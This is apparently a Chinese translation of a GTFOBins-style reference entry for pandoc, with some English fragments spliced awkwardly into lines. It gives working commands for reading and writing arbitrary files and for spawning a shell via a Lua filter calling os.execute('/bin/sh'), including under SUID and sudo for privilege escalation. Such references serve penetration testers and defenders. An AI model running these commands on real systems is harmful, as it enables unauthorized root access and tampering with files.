从文件中读取数据。
LFILE=要读取的文件路径
pandoc -t plain "$LFILE"
将数据写入文件中。
LFILE=要写入的文件
echo DATA | pandoc -t plain -o "$LFILE"
用来生成一个交互式的系统shell。
lua
interpreter for writing filters, other functions might apply. TF=$(mktemp)
echo 'os.execute("/bin/sh")' >$TF
pandoc -L $TF /dev/null
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
LFILE=要写入的文件
echo DATA | ./pandoc -t plain -o "$LFILE"
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
lua
interpreter for writing filters, other functions might apply. TF=$(mktemp)
echo 'os.execute("/bin/sh")' >$TF
./pandoc -L $TF /dev/null
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
lua
interpreter for writing filters, other functions might apply. TF=$(mktemp)
echo 'os.execute("/bin/sh")' >$TF
sudo pandoc -L $TF /dev/null